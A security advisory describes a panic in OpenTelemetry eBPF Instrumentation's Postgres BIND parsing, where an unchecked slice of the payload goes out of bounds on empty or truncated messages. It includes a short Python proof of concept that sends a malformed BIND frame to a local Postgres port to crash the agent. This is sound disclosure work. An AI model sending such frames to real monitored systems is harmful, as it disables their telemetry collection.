CVE-2026-45678: OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads

Summary

The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.

Details

The vulnerable logic is in pkg/ebpf/common/sqldetectpostgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.

There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.

PoC

Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.

Use a vulnerable build:

bash git checkout v0.0.0-rc.1+build make build

Start a local Postgres instance and OBI:

bash docker run --rm -e POSTGRESPASSWORD=postgres -p 5432:5432 postgres:17 sudo ./bin/obi

Send a malformed BIND frame with an empty payload:

python save as /tmp/pg-bind-poc.py import socket, struct

tag = b'B' length = struct.pack(">I", 4) payload = b""

s = socket.createconnection(("127.0.0.1", 5432)) s.sendall(tag + length + payload) s.close()

Run it:

bash python3 /tmp/pg-bind-poc.py

On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.

Impact

This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.